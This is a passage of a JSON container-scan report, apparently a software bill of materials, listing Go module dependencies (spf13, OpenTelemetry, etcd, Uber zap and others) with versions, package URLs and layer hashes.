"sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/shurcooL/vfsgen@v0.0.0-20230704071429-0000e147ea92", "Name": "github.com/shurcooL/vfsgen", "Identifier": { "PURL": "pkg:golang/github.com/shurcool/vfsgen@v0.0.0-20230704071429-0000e147ea92", "UID": "dd2b297d9e8de7e7" }, "Version": "v0.0.0-20230704071429-0000e147ea92", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/sirupsen/logrus@v1.9.4", "Name": "github.com/sirupsen/logrus", "Identifier": { "PURL": "pkg:golang/github.com/sirupsen/logrus@v1.9.4", "UID": "b2e6d185b13ff8a0" }, "Version": "v1.9.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/sony/gobreaker/v2@v2.3.0", "Name": "github.com/sony/gobreaker/v2", "Identifier": { "PURL": "pkg:golang/github.com/sony/gobreaker/v2@v2.3.0", "UID": "2bf16276b7b3989f" }, "Version": "v2.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/sourcegraph/conc@v0.3.1-0.20240121214520-5f936abd7ae8", "Name": "github.com/sourcegraph/conc", "Identifier": { "PURL": "pkg:golang/github.com/sourcegraph/conc@v0.3.1-0.20240121214520-5f936abd7ae8", "UID": "dd4ed4d84db94cc0" }, "Version": "v0.3.1-0.20240121214520-5f936abd7ae8", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/spf13/afero@v1.15.0", "Name": "github.com/spf13/afero", "Identifier": { "PURL": "pkg:golang/github.com/spf13/afero@v1.15.0", "UID": "8ce05ce2afcbc4de" }, "Version": "v1.15.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/spf13/cast@v1.10.0", "Name": "github.com/spf13/cast", "Identifier": { "PURL": "pkg:golang/github.com/spf13/cast@v1.10.0", "UID": "fbfe236ce3b1da36" }, "Version": "v1.10.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/spf13/cobra@v1.10.2", "Name": "github.com/spf13/cobra", "Identifier": { "PURL": "pkg:golang/github.com/spf13/cobra@v1.10.2", "UID": "a80648ba0a3ffc94" }, "Version": "v1.10.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/spf13/pflag@v1.0.10", "Name": "github.com/spf13/pflag", "Identifier": { "PURL": "pkg:golang/github.com/spf13/pflag@v1.0.10", "UID": "863a4b6cc2d3d304" }, "Version": "v1.0.10", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/spf13/viper@v1.21.0", "Name": "github.com/spf13/viper", "Identifier": { "PURL": "pkg:golang/github.com/spf13/viper@v1.21.0", "UID": "50629dd99171d04a" }, "Version": "v1.21.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/spiffe/go-spiffe/v2@v2.6.0", "Name": "github.com/spiffe/go-spiffe/v2", "Identifier": { "PURL": "pkg:golang/github.com/spiffe/go-spiffe/v2@v2.6.0", "UID": "e72d52f2c043e179" }, "Version": "v2.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/stretchr/objx@v0.5.3", "Name": "github.com/stretchr/objx", "Identifier": { "PURL": "pkg:golang/github.com/stretchr/objx@v0.5.3", "UID": "51b3797e5de89bad" }, "Version": "v0.5.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/stretchr/testify@v1.11.1", "Name": "github.com/stretchr/testify", "Identifier": { "PURL": "pkg:golang/github.com/stretchr/testify@v1.11.1", "UID": "ea5619b1956b1e10" }, "Version": "v1.11.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/subosito/gotenv@v1.6.0", "Name": "github.com/subosito/gotenv", "Identifier": { "PURL": "pkg:golang/github.com/subosito/gotenv@v1.6.0", "UID": "f1108b985163e19c" }, "Version": "v1.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/thomaspoignant/go-feature-flag@v1.42.0", "Name": "github.com/thomaspoignant/go-feature-flag", "Identifier": { "PURL": "pkg:golang/github.com/thomaspoignant/go-feature-flag@v1.42.0", "UID": "c503397d6021a22" }, "Version": "v1.42.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/tjhop/slog-gokit@v0.1.6", "Name": "github.com/tjhop/slog-gokit", "Identifier": { "PURL": "pkg:golang/github.com/tjhop/slog-gokit@v0.1.6", "UID": "5a0d958608b87dfc" }, "Version": "v0.1.6", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/ua-parser/uap-go@v0.0.0-20250213224047-9c035f085b90", "Name": "github.com/ua-parser/uap-go", "Identifier": { "PURL": "pkg:golang/github.com/ua-parser/uap-go@v0.0.0-20250213224047-9c035f085b90", "UID": "8c22cfd207af2fb4" }, "Version": "v0.0.0-20250213224047-9c035f085b90", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/uber/jaeger-client-go@v2.30.0+incompatible", "Name": "github.com/uber/jaeger-client-go", "Identifier": { "PURL": "pkg:golang/github.com/uber/jaeger-client-go@v2.30.0%2Bincompatible", "UID": "a7de8b5b2a78800c" }, "Version": "v2.30.0+incompatible", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/uber/jaeger-lib@v2.4.1+incompatible", "Name": "github.com/uber/jaeger-lib", "Identifier": { "PURL": "pkg:golang/github.com/uber/jaeger-lib@v2.4.1%2Bincompatible", "UID": "a2d5cf6dce29f235" }, "Version": "v2.4.1+incompatible", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/urfave/cli/v2@v2.27.7", "Name": "github.com/urfave/cli/v2", "Identifier": { "PURL": "pkg:golang/github.com/urfave/cli/v2@v2.27.7", "UID": "df0c257654c2fd1c" }, "Version": "v2.27.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/valyala/bytebufferpool@v1.0.0", "Name": "github.com/valyala/bytebufferpool", "Identifier": { "PURL": "pkg:golang/github.com/valyala/bytebufferpool@v1.0.0", "UID": "abb9ae9ecaedc9c2" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/wk8/go-ordered-map@v1.0.0", "Name": "github.com/wk8/go-ordered-map", "Identifier": { "PURL": "pkg:golang/github.com/wk8/go-ordered-map@v1.0.0", "UID": "f92b9bcc6f199386" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/wk8/go-ordered-map/v2@v2.1.8", "Name": "github.com/wk8/go-ordered-map/v2", "Identifier": { "PURL": "pkg:golang/github.com/wk8/go-ordered-map/v2@v2.1.8", "UID": "81a7a4bf99dca54" }, "Version": "v2.1.8", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/woodsbury/decimal128@v1.4.0", "Name": "github.com/woodsbury/decimal128", "Identifier": { "PURL": "pkg:golang/github.com/woodsbury/decimal128@v1.4.0", "UID": "1d36f9d29afa63d1" }, "Version": "v1.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/x448/float16@v0.8.4", "Name": "github.com/x448/float16", "Identifier": { "PURL": "pkg:golang/github.com/x448/float16@v0.8.4", "UID": "4c20edc01e2b5988" }, "Version": "v0.8.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/xlab/treeprint@v1.2.0", "Name": "github.com/xlab/treeprint", "Identifier": { "PURL": "pkg:golang/github.com/xlab/treeprint@v1.2.0", "UID": "2cffb749f26fd321" }, "Version": "v1.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/xrash/smetrics@v0.0.0-20240521201337-686a1a2994c1", "Name": "github.com/xrash/smetrics", "Identifier": { "PURL": "pkg:golang/github.com/xrash/smetrics@v0.0.0-20240521201337-686a1a2994c1", "UID": "461257dbeb8d71ed" }, "Version": "v0.0.0-20240521201337-686a1a2994c1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/youmark/pkcs8@v0.0.0-20240726163527-a2c0da244d78", "Name": "github.com/youmark/pkcs8", "Identifier": { "PURL": "pkg:golang/github.com/youmark/pkcs8@v0.0.0-20240726163527-a2c0da244d78", "UID": "42f2d09aa1c41e2e" }, "Version": "v0.0.0-20240726163527-a2c0da244d78", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/zclconf/go-cty@v1.16.3", "Name": "github.com/zclconf/go-cty", "Identifier": { "PURL": "pkg:golang/github.com/zclconf/go-cty@v1.16.3", "UID": "6d46f8b940be644d" }, "Version": "v1.16.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/zeebo/xxh3@v1.1.0", "Name": "github.com/zeebo/xxh3", "Identifier": { "PURL": "pkg:golang/github.com/zeebo/xxh3@v1.1.0", "UID": "a1429b4ca77d4ab8" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.etcd.io/bbolt@v1.4.3", "Name": "go.etcd.io/bbolt", "Identifier": { "PURL": "pkg:golang/go.etcd.io/bbolt@v1.4.3", "UID": "798d914bdef256f" }, "Version": "v1.4.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.etcd.io/etcd/api/v3@v3.6.7", "Name": "go.etcd.io/etcd/api/v3", "Identifier": { "PURL": "pkg:golang/go.etcd.io/etcd/api/v3@v3.6.7", "UID": "87382578ea92058" }, "Version": "v3.6.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.etcd.io/etcd/client/pkg/v3@v3.6.7", "Name": "go.etcd.io/etcd/client/pkg/v3", "Identifier": { "PURL": "pkg:golang/go.etcd.io/etcd/client/pkg/v3@v3.6.7", "UID": "1329ee1e7029a8b0" }, "Version": "v3.6.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.etcd.io/etcd/client/v3@v3.6.7", "Name": "go.etcd.io/etcd/client/v3", "Identifier": { "PURL": "pkg:golang/go.etcd.io/etcd/client/v3@v3.6.7", "UID": "bfe45c0ad6e2954c" }, "Version": "v3.6.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/auto/sdk@v1.2.1", "Name": "go.opentelemetry.io/auto/sdk", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/auto/sdk@v1.2.1", "UID": "cd8bd0ee71b185aa" }, "Version": "v1.2.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/collector/featuregate@v1.44.0", "Name": "go.opentelemetry.io/collector/featuregate", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/collector/featuregate@v1.44.0", "UID": "f524bddb79edd4ed" }, "Version": "v1.44.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/collector/pdata@v1.44.0", "Name": "go.opentelemetry.io/collector/pdata", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/collector/pdata@v1.44.0", "UID": "7c421cb9bafaad02" }, "Version": "v1.44.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/bridges/prometheus@v0.64.0", "Name": "go.opentelemetry.io/contrib/bridges/prometheus", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/bridges/prometheus@v0.64.0", "UID": "f23a16a9c98264cc" }, "Version": "v0.64.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/detectors/gcp@v1.39.0", "Name": "go.opentelemetry.io/contrib/detectors/gcp", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/detectors/gcp@v1.39.0", "UID": "1e7b263912002959" }, "Version": "v1.39.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/exporters/autoexport@v0.64.0", "Name": "go.opentelemetry.io/contrib/exporters/autoexport", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/exporters/autoexport@v0.64.0", "UID": "3603132d8fc0cf86" }, "Version": "v0.64.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc@v0.68.0", "Name": "go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc@v0.68.0", "UID": "a183bac131527917" }, "Version": "v0.68.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace@v0.67.0", "Name": "go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace@v0.67.0", "UID": "99b8b95cc4c0ee5a" }, "Version": "v0.67.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp@v0.68.0", "Name": "go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp@v0.68.0", "UID": "6cf7d37c94fad66a" }, "Version": "v0.68.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/propagators/jaeger@v1.42.0", "Name": "go.opentelemetry.io/contrib/propagators/jaeger", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/propagators/jaeger@v1.42.0", "UID": "981163a51d17b091" }, "Version": "v1.42.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/samplers/jaegerremote@v0.36.0", "Name": "go.opentelemetry.io/contrib/samplers/jaegerremote", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/samplers/jaegerremote@v0.36.0", "UID": "8692d0befb323fa7" }, "Version": "v0.36.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel@v1.43.0", "Name": "go.opentelemetry.io/otel", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel@v1.43.0", "UID": "5681f609acb7dd32" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/jaeger@v1.17.0", "Name": "go.opentelemetry.io/otel/exporters/jaeger", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/jaeger@v1.17.0", "UID": "403adb989fb63714" }, "Version": "v1.17.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc@v0.15.0", "Name": "go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc@v0.15.0", "UID": "597e31af477d41d0" }, "Version": "v0.15.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp@v0.19.0", "Name": "go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp@v0.19.0", "UID": "9b24c4f03fbbebee" }, "Version": "v0.19.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc@v1.39.0", "Name": "go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc@v1.39.0", "UID": "f87d8b27cbe46010" }, "Version": "v1.39.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp@v1.43.0", "Name": "go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp@v1.43.0", "UID": "d047b349654ecd80" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/otlp/otlptrace@v1.43.0", "Name": "go.opentelemetry.io/otel/exporters/otlp/otlptrace", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlptrace@v1.43.0", "UID": "8f7f702d2eaa8ca9" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc@v1.43.0", "Name": "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc@v1.43.0", "UID": "b6bc9b471c13023c" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp@v1.43.0", "Name": "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp@v1.43.0", "UID": "3cee22266d125fcf" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/prometheus@v0.61.0", "Name": "go.opentelemetry.io/otel/exporters/prometheus", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/prometheus@v0.61.0", "UID": "54f5139eca509be" }, "Version": "v0.61.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/stdout/stdoutlog@v0.15.0", "Name": "go.opentelemetry.io/otel/exporters/stdout/stdoutlog", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/stdout/stdoutlog@v0.15.0", "UID": "9441dbd44ce4cf21" }, "Version": "v0.15.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/stdout/stdoutmetric@v1.39.0", "Name": "go.opentelemetry.io/otel/exporters/stdout/stdoutmetric", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/stdout/stdoutmetric@v1.39.0", "UID": "5a2c6ac1fcd709e8" }, "Version": "v1.39.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/stdout/stdouttrace@v1.39.0", "Name": "go.opentelemetry.io/otel/exporters/stdout/stdouttrace", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/stdout/stdouttrace@v1.39.0", "UID": "54fd4ae1970839b5" }, "Version": "v1.39.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/log@v0.19.0", "Name": "go.opentelemetry.io/otel/log", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/log@v0.19.0", "UID": "83bbf24e4a51a663" }, "Version": "v0.19.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/metric@v1.43.0", "Name": "go.opentelemetry.io/otel/metric", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/metric@v1.43.0", "UID": "6e5b335f58a1e4c8" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/sdk@v1.43.0", "Name": "go.opentelemetry.io/otel/sdk", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/sdk@v1.43.0", "UID": "64773a0afa823043" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/sdk/log@v0.19.0", "Name": "go.opentelemetry.io/otel/sdk/log", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/sdk/log@v0.19.0", "UID": "ea3e8dba80dd66bb" }, "Version": "v0.19.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/sdk/metric@v1.43.0", "Name": "go.opentelemetry.io/otel/sdk/metric", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/sdk/metric@v1.43.0", "UID": "7c9ec8325d920c73" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/trace@v1.43.0", "Name": "go.opentelemetry.io/otel/trace", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/trace@v1.43.0", "UID": "d4d7999d9de21524" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/proto/otlp@v1.10.0", "Name": "go.opentelemetry.io/proto/otlp", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/proto/otlp@v1.10.0", "UID": "2656fa796b8d3659" }, "Version": "v1.10.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.uber.org/atomic@v1.11.0", "Name": "go.uber.org/atomic", "Identifier": { "PURL": "pkg:golang/go.uber.org/atomic@v1.11.0", "UID": "729dccd843007fd3" }, "Version": "v1.11.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.uber.org/mock@v0.6.0", "Name": "go.uber.org/mock", "Identifier": { "PURL": "pkg:golang/go.uber.org/mock@v0.6.0", "UID": "3bc615cc3693d464" }, "Version": "v0.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.uber.org/multierr@v1.11.0", "Name": "go.uber.org/multierr", "Identifier": { "PURL": "pkg:golang/go.uber.org/multierr@v1.11.0", "UID": "36fc9a3c9f818fe2" }, "Version": "v1.11.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.uber.org/zap@v1.27.1", "Name": "go.uber.org/zap", "Identifier": { "PURL": "pkg:golang/go.uber.org/zap@v1.27.1", "UID": "865bb931fd52658b" }, "Version": "v1.27.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.yaml.in/yaml/v2@v2.4.3", "Name": "go.yaml.in/yaml/v2", "Identifier": { "PURL": "pkg:golang/go.yaml.in/yaml/v2@v2.4.3", "UID": "a92e7cc2d9708f4" }, "Version": "v2.4.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "go.yaml.in/yaml/v3@v3.0.4", "Name": "go.yaml.in/yaml/v3", "Identifier": { "PURL": "pkg:golang/go.yaml.in/yaml/v3@v3.0.4", "UID": "5b71718c6e0e1517" }, "Version": "v3.0.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": 